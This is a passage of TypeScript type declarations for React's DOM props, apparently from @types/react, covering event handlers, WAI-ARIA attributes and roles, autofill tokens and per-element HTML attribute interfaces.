onResizeCapture?: ReactEventHandler<T> | undefined; onSeeked?: ReactEventHandler<T> | undefined; onSeekedCapture?: ReactEventHandler<T> | undefined; onSeeking?: ReactEventHandler<T> | undefined; onSeekingCapture?: ReactEventHandler<T> | undefined; onStalled?: ReactEventHandler<T> | undefined; onStalledCapture?: ReactEventHandler<T> | undefined; onSuspend?: ReactEventHandler<T> | undefined; onSuspendCapture?: ReactEventHandler<T> | undefined; onTimeUpdate?: ReactEventHandler<T> | undefined; onTimeUpdateCapture?: ReactEventHandler<T> | undefined; onVolumeChange?: ReactEventHandler<T> | undefined; onVolumeChangeCapture?: ReactEventHandler<T> | undefined; onWaiting?: ReactEventHandler<T> | undefined; onWaitingCapture?: ReactEventHandler<T> | undefined; // MouseEvents onAuxClick?: MouseEventHandler<T> | undefined; onAuxClickCapture?: MouseEventHandler<T> | undefined; onClick?: MouseEventHandler<T> | undefined; onClickCapture?: MouseEventHandler<T> | undefined; onContextMenu?: MouseEventHandler<T> | undefined; onContextMenuCapture?: MouseEventHandler<T> | undefined; onDoubleClick?: MouseEventHandler<T> | undefined; onDoubleClickCapture?: MouseEventHandler<T> | undefined; onDrag?: DragEventHandler<T> | undefined; onDragCapture?: DragEventHandler<T> | undefined; onDragEnd?: DragEventHandler<T> | undefined; onDragEndCapture?: DragEventHandler<T> | undefined; onDragEnter?: DragEventHandler<T> | undefined; onDragEnterCapture?: DragEventHandler<T> | undefined; onDragExit?: DragEventHandler<T> | undefined; onDragExitCapture?: DragEventHandler<T> | undefined; onDragLeave?: DragEventHandler<T> | undefined; onDragLeaveCapture?: DragEventHandler<T> | undefined; onDragOver?: DragEventHandler<T> | undefined; onDragOverCapture?: DragEventHandler<T> | undefined; onDragStart?: DragEventHandler<T> | undefined; onDragStartCapture?: DragEventHandler<T> | undefined; onDrop?: DragEventHandler<T> | undefined; onDropCapture?: DragEventHandler<T> | undefined; onMouseDown?: MouseEventHandler<T> | undefined; onMouseDownCapture?: MouseEventHandler<T> | undefined; onMouseEnter?: MouseEventHandler<T> | undefined; onMouseLeave?: MouseEventHandler<T> | undefined; onMouseMove?: MouseEventHandler<T> | undefined; onMouseMoveCapture?: MouseEventHandler<T> | undefined; onMouseOut?: MouseEventHandler<T> | undefined; onMouseOutCapture?: MouseEventHandler<T> | undefined; onMouseOver?: MouseEventHandler<T> | undefined; onMouseOverCapture?: MouseEventHandler<T> | undefined; onMouseUp?: MouseEventHandler<T> | undefined; onMouseUpCapture?: MouseEventHandler<T> | undefined; // Selection Events onSelect?: ReactEventHandler<T> | undefined; onSelectCapture?: ReactEventHandler<T> | undefined; // Touch Events onTouchCancel?: TouchEventHandler<T> | undefined; onTouchCancelCapture?: TouchEventHandler<T> | undefined; onTouchEnd?: TouchEventHandler<T> | undefined; onTouchEndCapture?: TouchEventHandler<T> | undefined; onTouchMove?: TouchEventHandler<T> | undefined; onTouchMoveCapture?: TouchEventHandler<T> | undefined; onTouchStart?: TouchEventHandler<T> | undefined; onTouchStartCapture?: TouchEventHandler<T> | undefined; // Pointer Events onPointerDown?: PointerEventHandler<T> | undefined; onPointerDownCapture?: PointerEventHandler<T> | undefined; onPointerMove?: PointerEventHandler<T> | undefined; onPointerMoveCapture?: PointerEventHandler<T> | undefined; onPointerUp?: PointerEventHandler<T> | undefined; onPointerUpCapture?: PointerEventHandler<T> | undefined; onPointerCancel?: PointerEventHandler<T> | undefined; onPointerCancelCapture?: PointerEventHandler<T> | undefined; onPointerEnter?: PointerEventHandler<T> | undefined; onPointerLeave?: PointerEventHandler<T> | undefined; onPointerOver?: PointerEventHandler<T> | undefined; onPointerOverCapture?: PointerEventHandler<T> | undefined; onPointerOut?: PointerEventHandler<T> | undefined; onPointerOutCapture?: PointerEventHandler<T> | undefined; onGotPointerCapture?: PointerEventHandler<T> | undefined; onGotPointerCaptureCapture?: PointerEventHandler<T> | undefined; onLostPointerCapture?: PointerEventHandler<T> | undefined; onLostPointerCaptureCapture?: PointerEventHandler<T> | undefined; // UI Events onScroll?: UIEventHandler<T> | undefined; onScrollCapture?: UIEventHandler<T> | undefined; // Wheel Events onWheel?: WheelEventHandler<T> | undefined; onWheelCapture?: WheelEventHandler<T> | undefined; // Animation Events onAnimationStart?: AnimationEventHandler<T> | undefined; onAnimationStartCapture?: AnimationEventHandler<T> | undefined; onAnimationEnd?: AnimationEventHandler<T> | undefined; onAnimationEndCapture?: AnimationEventHandler<T> | undefined; onAnimationIteration?: AnimationEventHandler<T> | undefined; onAnimationIterationCapture?: AnimationEventHandler<T> | undefined; // Transition Events onTransitionEnd?: TransitionEventHandler<T> | undefined; onTransitionEndCapture?: TransitionEventHandler<T> | undefined; } export interface CSSProperties extends CSS.Properties<string | number> { /** * The index signature was removed to enable closed typing for style * using CSSType. You're able to use type assertion or module augmentation * to add properties or an index signature of your own. * * For examples and more information, visit: * https://github.com/frenic/csstype#what-should-i-do-when-i-get-type-errors */ } // All the WAI-ARIA 1.1 attributes from https://www.w3.org/TR/wai-aria-1.1/ interface AriaAttributes { /** Identifies the currently active element when DOM focus is on a composite widget, textbox, group, or application. */ "aria-activedescendant"?: string | undefined; /** Indicates whether assistive technologies will present all, or only parts of, the changed region based on the change notifications defined by the aria-relevant attribute. */ "aria-atomic"?: Booleanish | undefined; /** * Indicates whether inputting text could trigger display of one or more predictions of the user's intended value for an input and specifies how predictions would be * presented if they are made. */ "aria-autocomplete"?: "none" | "inline" | "list" | "both" | undefined; /** Indicates an element is being modified and that assistive technologies MAY want to wait until the modifications are complete before exposing them to the user. */ /** * Defines a string value that labels the current element, which is intended to be converted into Braille. * @see aria-label. */ "aria-braillelabel"?: string | undefined; /** * Defines a human-readable, author-localized abbreviated description for the role of an element, which is intended to be converted into Braille. * @see aria-roledescription. */ "aria-brailleroledescription"?: string | undefined; "aria-busy"?: Booleanish | undefined; /** * Indicates the current "checked" state of checkboxes, radio buttons, and other widgets. * @see aria-pressed @see aria-selected. */ "aria-checked"?: boolean | "false" | "mixed" | "true" | undefined; /** * Defines the total number of columns in a table, grid, or treegrid. * @see aria-colindex. */ "aria-colcount"?: number | undefined; /** * Defines an element's column index or position with respect to the total number of columns within a table, grid, or treegrid. * @see aria-colcount @see aria-colspan. */ "aria-colindex"?: number | undefined; /** * Defines a human readable text alternative of aria-colindex. * @see aria-rowindextext. */ "aria-colindextext"?: string | undefined; /** * Defines the number of columns spanned by a cell or gridcell within a table, grid, or treegrid. * @see aria-colindex @see aria-rowspan. */ "aria-colspan"?: number | undefined; /** * Identifies the element (or elements) whose contents or presence are controlled by the current element. * @see aria-owns. */ "aria-controls"?: string | undefined; /** Indicates the element that represents the current item within a container or set of related elements. */ "aria-current"?: boolean | "false" | "true" | "page" | "step" | "location" | "date" | "time" | undefined; /** * Identifies the element (or elements) that describes the object. * @see aria-labelledby */ "aria-describedby"?: string | undefined; /** * Defines a string value that describes or annotates the current element. * @see related aria-describedby. */ "aria-description"?: string | undefined; /** * Identifies the element that provides a detailed, extended description for the object. * @see aria-describedby. */ "aria-details"?: string | undefined; /** * Indicates that the element is perceivable but disabled, so it is not editable or otherwise operable. * @see aria-hidden @see aria-readonly. */ "aria-disabled"?: Booleanish | undefined; /** * Indicates what functions can be performed when a dragged object is released on the drop target. * @deprecated in ARIA 1.1 */ "aria-dropeffect"?: "none" | "copy" | "execute" | "link" | "move" | "popup" | undefined; /** * Identifies the element that provides an error message for the object. * @see aria-invalid @see aria-describedby. */ "aria-errormessage"?: string | undefined; /** Indicates whether the element, or another grouping element it controls, is currently expanded or collapsed. */ "aria-expanded"?: Booleanish | undefined; /** * Identifies the next element (or elements) in an alternate reading order of content which, at the user's discretion, * allows assistive technology to override the general default of reading in document source order. */ "aria-flowto"?: string | undefined; /** * Indicates an element's "grabbed" state in a drag-and-drop operation. * @deprecated in ARIA 1.1 */ "aria-grabbed"?: Booleanish | undefined; /** Indicates the availability and type of interactive popup element, such as menu or dialog, that can be triggered by an element. */ "aria-haspopup"?: boolean | "false" | "true" | "menu" | "listbox" | "tree" | "grid" | "dialog" | undefined; /** * Indicates whether the element is exposed to an accessibility API. * @see aria-disabled. */ "aria-hidden"?: Booleanish | undefined; /** * Indicates the entered value does not conform to the format expected by the application. * @see aria-errormessage. */ "aria-invalid"?: boolean | "false" | "true" | "grammar" | "spelling" | undefined; /** Indicates keyboard shortcuts that an author has implemented to activate or give focus to an element. */ "aria-keyshortcuts"?: string | undefined; /** * Defines a string value that labels the current element. * @see aria-labelledby. */ "aria-label"?: string | undefined; /** * Identifies the element (or elements) that labels the current element. * @see aria-describedby. */ "aria-labelledby"?: string | undefined; /** Defines the hierarchical level of an element within a structure. */ "aria-level"?: number | undefined; /** Indicates that an element will be updated, and describes the types of updates the user agents, assistive technologies, and user can expect from the live region. */ "aria-live"?: "off" | "assertive" | "polite" | undefined; /** Indicates whether an element is modal when displayed. */ "aria-modal"?: Booleanish | undefined; /** Indicates whether a text box accepts multiple lines of input or only a single line. */ "aria-multiline"?: Booleanish | undefined; /** Indicates that the user may select more than one item from the current selectable descendants. */ "aria-multiselectable"?: Booleanish | undefined; /** Indicates whether the element's orientation is horizontal, vertical, or unknown/ambiguous. */ "aria-orientation"?: "horizontal" | "vertical" | undefined; /** * Identifies an element (or elements) in order to define a visual, functional, or contextual parent/child relationship * between DOM elements where the DOM hierarchy cannot be used to represent the relationship. * @see aria-controls. */ "aria-owns"?: string | undefined; /** * Defines a short hint (a word or short phrase) intended to aid the user with data entry when the control has no value. * A hint could be a sample value or a brief description of the expected format. */ "aria-placeholder"?: string | undefined; /** * Defines an element's number or position in the current set of listitems or treeitems. Not required if all elements in the set are present in the DOM. * @see aria-setsize. */ "aria-posinset"?: number | undefined; /** * Indicates the current "pressed" state of toggle buttons. * @see aria-checked @see aria-selected. */ "aria-pressed"?: boolean | "false" | "mixed" | "true" | undefined; /** * Indicates that the element is not editable, but is otherwise operable. * @see aria-disabled. */ "aria-readonly"?: Booleanish | undefined; /** * Indicates what notifications the user agent will trigger when the accessibility tree within a live region is modified. * @see aria-atomic. */ "aria-relevant"?: | "additions" | "additions removals" | "additions text" | "all" | "removals" | "removals additions" | "removals text" | "text" | "text additions" | "text removals" | undefined; /** Indicates that user input is required on the element before a form may be submitted. */ "aria-required"?: Booleanish | undefined; /** Defines a human-readable, author-localized description for the role of an element. */ "aria-roledescription"?: string | undefined; /** * Defines the total number of rows in a table, grid, or treegrid. * @see aria-rowindex. */ "aria-rowcount"?: number | undefined; /** * Defines an element's row index or position with respect to the total number of rows within a table, grid, or treegrid. * @see aria-rowcount @see aria-rowspan. */ "aria-rowindex"?: number | undefined; /** * Defines a human readable text alternative of aria-rowindex. * @see aria-colindextext. */ "aria-rowindextext"?: string | undefined; /** * Defines the number of rows spanned by a cell or gridcell within a table, grid, or treegrid. * @see aria-rowindex @see aria-colspan. */ "aria-rowspan"?: number | undefined; /** * Indicates the current "selected" state of various widgets. * @see aria-checked @see aria-pressed. */ "aria-selected"?: Booleanish | undefined; /** * Defines the number of items in the current set of listitems or treeitems. Not required if all elements in the set are present in the DOM. * @see aria-posinset. */ "aria-setsize"?: number | undefined; /** Indicates if items in a table or grid are sorted in ascending or descending order. */ "aria-sort"?: "none" | "ascending" | "descending" | "other" | undefined; /** Defines the maximum allowed value for a range widget. */ "aria-valuemax"?: number | undefined; /** Defines the minimum allowed value for a range widget. */ "aria-valuemin"?: number | undefined; /** * Defines the current value for a range widget. * @see aria-valuetext. */ "aria-valuenow"?: number | undefined; /** Defines the human readable text alternative of aria-valuenow for a range widget. */ "aria-valuetext"?: string | undefined; } // All the WAI-ARIA 1.1 role attribute values from https://www.w3.org/TR/wai-aria-1.1/#role_definitions type AriaRole = | "alert" | "alertdialog" | "application" | "article" | "banner" | "button" | "cell" | "checkbox" | "columnheader" | "combobox" | "complementary" | "contentinfo" | "definition" | "dialog" | "directory" | "document" | "feed" | "figure" | "form" | "grid" | "gridcell" | "group" | "heading" | "img" | "link" | "list" | "listbox" | "listitem" | "log" | "main" | "marquee" | "math" | "menu" | "menubar" | "menuitem" | "menuitemcheckbox" | "menuitemradio" | "navigation" | "none" | "note" | "option" | "presentation" | "progressbar" | "radio" | "radiogroup" | "region" | "row" | "rowgroup" | "rowheader" | "scrollbar" | "search" | "searchbox" | "separator" | "slider" | "spinbutton" | "status" | "switch" | "tab" | "table" | "tablist" | "tabpanel" | "term" | "textbox" | "timer" | "toolbar" | "tooltip" | "tree" | "treegrid" | "treeitem" | (string & {}); interface HTMLAttributes<T> extends AriaAttributes, DOMAttributes<T> { // React-specific Attributes defaultChecked?: boolean | undefined; defaultValue?: string | number | readonly string[] | undefined; suppressContentEditableWarning?: boolean | undefined; suppressHydrationWarning?: boolean | undefined; // Standard HTML Attributes accessKey?: string | undefined; autoFocus?: boolean | undefined; className?: string | undefined; contentEditable?: Booleanish | "inherit" | "plaintext-only" | undefined; contextMenu?: string | undefined; dir?: string | undefined; draggable?: Booleanish | undefined; hidden?: boolean | undefined; id?: string | undefined; lang?: string | undefined; nonce?: string | undefined; slot?: string | undefined; spellCheck?: Booleanish | undefined; style?: CSSProperties | undefined; tabIndex?: number | undefined; title?: string | undefined; translate?: "yes" | "no" | undefined; // Unknown radioGroup?: string | undefined; // <command>, <menuitem> // WAI-ARIA role?: AriaRole | undefined; // RDFa Attributes about?: string | undefined; content?: string | undefined; datatype?: string | undefined; inlist?: any; prefix?: string | undefined; property?: string | undefined; rel?: string | undefined; resource?: string | undefined; rev?: string | undefined; typeof?: string | undefined; vocab?: string | undefined; // Non-standard Attributes autoCapitalize?: string | undefined; autoCorrect?: string | undefined; autoSave?: string | undefined; color?: string | undefined; itemProp?: string | undefined; itemScope?: boolean | undefined; itemType?: string | undefined; itemID?: string | undefined; itemRef?: string | undefined; results?: number | undefined; security?: string | undefined; unselectable?: "on" | "off" | undefined; // Living Standard /** * Hints at the type of data that might be entered by the user while editing the element or its contents * @see {@link https://html.spec.whatwg.org/multipage/interaction.html#input-modalities:-the-inputmode-attribute} */ inputMode?: "none" | "text" | "tel" | "url" | "email" | "numeric" | "decimal" | "search" | undefined; /** * Specify that a standard HTML element should behave like a defined custom built-in element * @see {@link https://html.spec.whatwg.org/multipage/custom-elements.html#attr-is} */ is?: string | undefined; } /** * For internal usage only. * Different release channels declare additional types of ReactNode this particular release channel accepts. * App or library types should never augment this interface. */ interface DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_FORM_ACTIONS {} interface AllHTMLAttributes<T> extends HTMLAttributes<T> { // Standard HTML Attributes accept?: string | undefined; acceptCharset?: string | undefined; action?: | string | undefined | DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_FORM_ACTIONS[ keyof DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_FORM_ACTIONS ]; allowFullScreen?: boolean | undefined; allowTransparency?: boolean | undefined; alt?: string | undefined; as?: string | undefined; async?: boolean | undefined; autoComplete?: string | undefined; autoPlay?: boolean | undefined; capture?: boolean | "user" | "environment" | undefined; cellPadding?: number | string | undefined; cellSpacing?: number | string | undefined; charSet?: string | undefined; challenge?: string | undefined; checked?: boolean | undefined; cite?: string | undefined; classID?: string | undefined; cols?: number | undefined; colSpan?: number | undefined; controls?: boolean | undefined; coords?: string | undefined; crossOrigin?: CrossOrigin; data?: string | undefined; dateTime?: string | undefined; default?: boolean | undefined; defer?: boolean | undefined; disabled?: boolean | undefined; download?: any; encType?: string | undefined; form?: string | undefined; formAction?: | string | undefined | DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_FORM_ACTIONS[ keyof DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_FORM_ACTIONS ]; formEncType?: string | undefined; formMethod?: string | undefined; formNoValidate?: boolean | undefined; formTarget?: string | undefined; frameBorder?: number | string | undefined; headers?: string | undefined; height?: number | string | undefined; high?: number | undefined; href?: string | undefined; hrefLang?: string | undefined; htmlFor?: string | undefined; httpEquiv?: string | undefined; integrity?: string | undefined; keyParams?: string | undefined; keyType?: string | undefined; kind?: string | undefined; label?: string | undefined; list?: string | undefined; loop?: boolean | undefined; low?: number | undefined; manifest?: string | undefined; marginHeight?: number | undefined; marginWidth?: number | undefined; max?: number | string | undefined; maxLength?: number | undefined; media?: string | undefined; mediaGroup?: string | undefined; method?: string | undefined; min?: number | string | undefined; minLength?: number | undefined; multiple?: boolean | undefined; muted?: boolean | undefined; name?: string | undefined; noValidate?: boolean | undefined; open?: boolean | undefined; optimum?: number | undefined; pattern?: string | undefined; placeholder?: string | undefined; playsInline?: boolean | undefined; poster?: string | undefined; preload?: string | undefined; readOnly?: boolean | undefined; required?: boolean | undefined; reversed?: boolean | undefined; rows?: number | undefined; rowSpan?: number | undefined; sandbox?: string | undefined; scope?: string | undefined; scoped?: boolean | undefined; scrolling?: string | undefined; seamless?: boolean | undefined; selected?: boolean | undefined; shape?: string | undefined; size?: number | undefined; sizes?: string | undefined; span?: number | undefined; src?: string | undefined; srcDoc?: string | undefined; srcLang?: string | undefined; srcSet?: string | undefined; start?: number | undefined; step?: number | string | undefined; summary?: string | undefined; target?: string | undefined; type?: string | undefined; useMap?: string | undefined; value?: string | readonly string[] | number | undefined; width?: number | string | undefined; wmode?: string | undefined; wrap?: string | undefined; } type HTMLAttributeReferrerPolicy = | "" | "no-referrer" | "no-referrer-when-downgrade" | "origin" | "origin-when-cross-origin" | "same-origin" | "strict-origin" | "strict-origin-when-cross-origin" | "unsafe-url"; type HTMLAttributeAnchorTarget = | "_self" | "_blank" | "_parent" | "_top" | (string & {}); interface AnchorHTMLAttributes<T> extends HTMLAttributes<T> { download?: any; href?: string | undefined; hrefLang?: string | undefined; media?: string | undefined; ping?: string | undefined; target?: HTMLAttributeAnchorTarget | undefined; type?: string | undefined; referrerPolicy?: HTMLAttributeReferrerPolicy | undefined; } interface AudioHTMLAttributes<T> extends MediaHTMLAttributes<T> {} interface AreaHTMLAttributes<T> extends HTMLAttributes<T> { alt?: string | undefined; coords?: string | undefined; download?: any; href?: string | undefined; hrefLang?: string | undefined; media?: string | undefined; referrerPolicy?: HTMLAttributeReferrerPolicy | undefined; shape?: string | undefined; target?: string | undefined; } interface BaseHTMLAttributes<T> extends HTMLAttributes<T> { href?: string | undefined; target?: string | undefined; } interface BlockquoteHTMLAttributes<T> extends HTMLAttributes<T> { cite?: string | undefined; } interface ButtonHTMLAttributes<T> extends HTMLAttributes<T> { disabled?: boolean | undefined; form?: string | undefined; formAction?: | string | DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_FORM_ACTIONS[ keyof DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_FORM_ACTIONS ] | undefined; formEncType?: string | undefined; formMethod?: string | undefined; formNoValidate?: boolean | undefined; formTarget?: string | undefined; name?: string | undefined; type?: "submit" | "reset" | "button" | undefined; value?: string | readonly string[] | number | undefined; } interface CanvasHTMLAttributes<T> extends HTMLAttributes<T> { height?: number | string | undefined; width?: number | string | undefined; } interface ColHTMLAttributes<T> extends HTMLAttributes<T> { span?: number | undefined; width?: number | string | undefined; } interface ColgroupHTMLAttributes<T> extends HTMLAttributes<T> { span?: number | undefined; } interface DataHTMLAttributes<T> extends HTMLAttributes<T> { value?: string | readonly string[] | number | undefined; } interface DetailsHTMLAttributes<T> extends HTMLAttributes<T> { open?: boolean | undefined; onToggle?: ReactEventHandler<T> | undefined; name?: string | undefined; } interface DelHTMLAttributes<T> extends HTMLAttributes<T> { cite?: string | undefined; dateTime?: string | undefined; } interface DialogHTMLAttributes<T> extends HTMLAttributes<T> { onCancel?: ReactEventHandler<T> | undefined; onClose?: ReactEventHandler<T> | undefined; open?: boolean | undefined; } interface EmbedHTMLAttributes<T> extends HTMLAttributes<T> { height?: number | string | undefined; src?: string | undefined; type?: string | undefined; width?: number | string | undefined; } interface FieldsetHTMLAttributes<T> extends HTMLAttributes<T> { disabled?: boolean | undefined; form?: string | undefined; name?: string | undefined; } interface FormHTMLAttributes<T> extends HTMLAttributes<T> { acceptCharset?: string | undefined; action?: | string | undefined | DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_FORM_ACTIONS[ keyof DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_FORM_ACTIONS ]; autoComplete?: string | undefined; encType?: string | undefined; method?: string | undefined; name?: string | undefined; noValidate?: boolean | undefined; target?: string | undefined; } interface HtmlHTMLAttributes<T> extends HTMLAttributes<T> { manifest?: string | undefined; } interface IframeHTMLAttributes<T> extends HTMLAttributes<T> { allow?: string | undefined; allowFullScreen?: boolean | undefined; allowTransparency?: boolean | undefined; /** @deprecated */ frameBorder?: number | string | undefined; height?: number | string | undefined; loading?: "eager" | "lazy" | undefined; /** @deprecated */ marginHeight?: number | undefined; /** @deprecated */ marginWidth?: number | undefined; name?: string | undefined; referrerPolicy?: HTMLAttributeReferrerPolicy | undefined; sandbox?: string | undefined; /** @deprecated */ scrolling?: string | undefined; seamless?: boolean | undefined; src?: string | undefined; srcDoc?: string | undefined; width?: number | string | undefined; } interface ImgHTMLAttributes<T> extends HTMLAttributes<T> { alt?: string | undefined; crossOrigin?: CrossOrigin; decoding?: "async" | "auto" | "sync" | undefined; fetchPriority?: "high" | "low" | "auto"; height?: number | string | undefined; loading?: "eager" | "lazy" | undefined; referrerPolicy?: HTMLAttributeReferrerPolicy | undefined; sizes?: string | undefined; src?: string | undefined; srcSet?: string | undefined; useMap?: string | undefined; width?: number | string | undefined; } interface InsHTMLAttributes<T> extends HTMLAttributes<T> { cite?: string | undefined; dateTime?: string | undefined; } type HTMLInputTypeAttribute = | "button" | "checkbox" | "color" | "date" | "datetime-local" | "email" | "file" | "hidden" | "image" | "month" | "number" | "password" | "radio" | "range" | "reset" | "search" | "submit" | "tel" | "text" | "time" | "url" | "week" | (string & {}); type AutoFillAddressKind = "billing" | "shipping"; type AutoFillBase = "" | "off" | "on"; type AutoFillContactField = | "email" | "tel" | "tel-area-code" | "tel-country-code" | "tel-extension" | "tel-local" | "tel-local-prefix" | "tel-local-suffix" | "tel-national"; type AutoFillContactKind = "home" | "mobile" | "work"; type AutoFillCredentialField = "webauthn"; type AutoFillNormalField = | "additional-name" | "address-level1" | "address-level2" | "address-level3" | "address-level4" | "address-line1" | "address-line2" | "address-line3" | "bday-day" | "bday-month" | "bday-year" | "cc-csc" | "cc-exp" | "cc-exp-month" | "cc-exp-year" | "cc-family-name" | "cc-given-name" | "cc-name" | "cc-number" | "cc-type" | "country" | "country-name" | "current-password" | "family-name" | "given-name" | "honorific-prefix" | "honorific-suffix" | "name" | "new-password" | "one-time-code" | "organization" | "postal-code" | "street-address" | "transaction-amount" | "transaction-currency" | "username"; type OptionalPrefixToken<T extends string> = `${T} ` | ""; type OptionalPostfixToken<T extends string> = ` ${T}` | ""; type AutoFillField = AutoFillNormalField | `${OptionalPrefixToken<AutoFillContactKind>}${AutoFillContactField}`; type AutoFillSection = `section-${string}`; type AutoFill = | AutoFillBase | `${OptionalPrefixToken<AutoFillSection>}${OptionalPrefixToken< AutoFillAddressKind >}${AutoFillField}${OptionalPostfixToken<AutoFillCredentialField>}`; type HTMLInputAutoCompleteAttribute = AutoFill | (string & {}); interface InputHTMLAttributes<T> extends HTMLAttributes<T> { accept?: string | undefined; alt?: string | undefined; autoComplete?: HTMLInputAutoCompleteAttribute | undefined; capture?: boolean | "user" | "environment" | undefined; // https://www.w3.org/TR/html-media-capture/#the-capture-attribute checked?: boolean | undefined; disabled?: boolean | undefined; enterKeyHint?: "enter" | "done" | "go" | "next" | "previous" | "search" | "send" | undefined; form?: string | undefined; formAction?: | string | DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_FORM_ACTIONS[ keyof DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_FORM_ACTIONS ] | undefined; formEncType?: string | undefined; formMethod?: string | undefined; formNoValidate?: boolean | undefined; formTarget?: string | undefined; height?: number | string | undefined; list?: string | undefined; max?: number | string | undefined; maxLength?: number | undefined; min?: number | string | undefined; minLength?: number | undefined; multiple?: boolean | undefined; name?: string | undefined; pattern?: string | undefined; placeholder?: string | undefined; readOnly?: boolean | undefined; required?: boolean | undefined; size?: number | undefined; src?: string | undefined; step?: number | string | undefined; type?: HTMLInputTypeAttribute | undefined; value?: string | readonly string[] | number | undefined; width?: number | string | undefined; onChange?: ChangeEventHandler<T> | undefined; } interface KeygenHTMLAttributes<T> extends HTMLAttributes<T> { challenge?: string | undefined; disabled?: boolean | undefined; form?: string | undefined; keyType?: string | undefined; keyParams?: string | undefined; name?: string | undefined; } interface LabelHTMLAttributes<T> extends HTMLAttributes<T> { form?: string | undefined; htmlFor?: string | undefined; } interface LiHTMLAttributes<T> extends HTMLAttributes<T> { value?: string | readonly string[] | number | undefined; } interface LinkHTMLAttributes<T> extends HTMLAttributes<T> { as?: string | undefined; crossOrigin?: CrossOrigin; fetchPriority?: "high" | "low" | "auto"; href?: string | undefined; hrefLang?: string | undefined; integrity?: string | undefined; media?: string | undefined; imageSrcSet?: string | undefined; imageSizes?: string | undefined; referrerPolicy?: HTMLAttributeReferrerPolicy | undefined; sizes?: string | undefined; type?: string | undefined; charSet?: string | undefined; } interface MapHTMLAttributes<T> extends HTMLAttributes<T> { name?: string | undefined; } interface MenuHTMLAttributes<T> extends HTMLAttributes<T> { type?: string | undefined; } interface MediaHTMLAttributes<T> extends HTMLAttributes<T> { autoPlay?: boolean | undefined; controls?: boolean | undefined; controlsList?: string | undefined; crossOrigin?: CrossOrigin; loop?: boolean | undefined; mediaGroup?: string | undefined; muted?: boolean | undefined; playsInline?: boolean | undefined; preload?: string | undefined; src?: string | undefined; } interface MetaHTMLAttributes<T> extends HTMLAttributes<T> { charSet?: string | undefined; content?: string | undefined; httpEquiv?: string | undefined; media?: string | undefined; name?: string | undefined; } interface MeterHTMLAttributes<T> extends HTMLAttributes<T> { form?: string | undefined; high?: number | undefined; low?: number | undefined; max?: number | string | undefined; min?: number | string | undefined; optimum?: number | undefined; value?: string | readonly string[] | number | undefined; } interface QuoteHTMLAttributes<T> extends HTMLAttributes<T> { cite?: string | undefined; } interface ObjectHTMLAttributes<T> extends HTMLAttributes<T> { classID?: string | undefined; data?: string | undefined; form?: string | undefined; height?: number | string | undefined; name?: string | undefined; type?: string | undefined; useMap?: string | undefined; width?: number | string | undefined; wmode?: string | undefined; } interface OlHTMLAttributes<T> extends HTMLAttributes<T> { reversed?: boolean | undefined; start?: number | undefined; type?: "1" | "a" | "A" | "i" | "I" | undefined; } interface OptgroupHTMLAttributes<T> extends HTMLAttributes<T> { disabled?: boolean | undefined; label?: string | undefined; } interface OptionHTMLAttributes<T> extends HTMLAttributes<T> { disabled?: boolean | undefined; label?: string | undefined; selected?: boolean | undefined; value?: string | readonly string[] | number | undefined; } interface OutputHTMLAttributes<T> extends HTMLAttributes<T> { form?: string | undefined; htmlFor?: string | undefined; name?: string | undefined; } interface ParamHTMLAttributes<T> extends HTMLAttributes<T> { name?: string | undefined; value?: string | readonly string[] | number | undefined; } interface ProgressHTMLAttributes<T> extends HTMLAttributes<T> { max?: number | string | undefined; value?: string | readonly string[] | number | undefined; } interface SlotHTMLAttributes<T> extends HTMLAttributes<T> { name?: string | undefined; } interface ScriptHTMLAttributes<T> extends HTMLAttributes<T> { async?: boolean | undefined; /** @deprecated */ charSet?: string | undefined; crossOrigin?: CrossOrigin; defer?: boolean | undefined; integrity?: string | undefined; noModule?: boolean | undefined; referrerPolicy?: HTMLAttributeReferrerPolicy | undefined; src?: string | undefined; type?: string | undefined; } interface SelectHTMLAttributes<T> extends HTMLAttributes<T> { autoComplete?: string | undefined; disabled?: boolean | undefined; form?: string | undefined; multiple?: boolean | undefined; name?: string | undefined; required?: boolean | undefined; size?: number | undefined; value?: string | readonly string[] | number | undefined; onChange?: ChangeEventHandler<T> | undefined; } interface SourceHTMLAttributes<T> extends HTMLAttributes<T> { height?: number | string | undefined; media?: string | undefined; sizes?: string | undefined; src?: string | undefined; srcSet?: string | undefined; type?: string | undefined; width?: number | string | undefined; } interface StyleHTMLAttributes<T> extends HTMLAttributes<T> { media?: string | undefined; scoped?: boolean | undefined; type?: string | undefined; } interface TableHTMLAttributes<T> extends HTMLAttributes<T> { align?: "left" | "center" | "right" | undefined; bgcolor?: string | undefined; border?: number | undefined; cellPadding?: number | string | undefined; cellSpacing?: number | string | undefined; frame?: boolean | undefined; rules?: "none" | "groups" | "rows" | "columns" | "all" | undefined; summary?: string | undefined; width?: number | string | undefined; } interface TextareaHTMLAttributes<T> extends HTMLAttributes<T> { autoComplete?: string | undefined; cols?: number | undefined; dirName?: string | undefined; disabled?: boolean | undefined; form?: string | undefined; maxLength?: number | undefined; minLength?: number | undefined; name?: string | undefined; placeholder?: string | undefined; readOnly?: boolean | undefined; required?: boolean | undefined; rows?: number | undefined; value?: string | readonly string[] | number | undefined; wrap?: string | undefined; onChange?: ChangeEventHandler<T> | undefined; } interface TdHTMLAttributes<T> extends HTMLAttributes<T> { align?: "left" | "center" | "right" | "justify" | "char" | undefined; colSpan?: number | undefined; headers?: string | undefined; rowSpan?: number | undefined; scope?: string | undefined; abbr?: string | undefined; height?: number | string | undefined; width?: number | string | undefined; valign?: "top" | "middle" | "bottom" | "baseline" | undefined; } interface ThHTMLAttributes<T> extends HTMLAttributes<T> { align?: "left" | "center" | "right" | "justify" | "char" | undefined; colSpan?: number | undefined; headers?: string | undefined; rowSpan?: number | undefined; scope?: string | undefined; abbr?: string | undefined; } interface TimeHTMLAttributes<T> extends HTMLAttributes<T> { dateTime?: string | undefined; } interface TrackHTMLAttributes<T> extends HTMLAttributes<T> 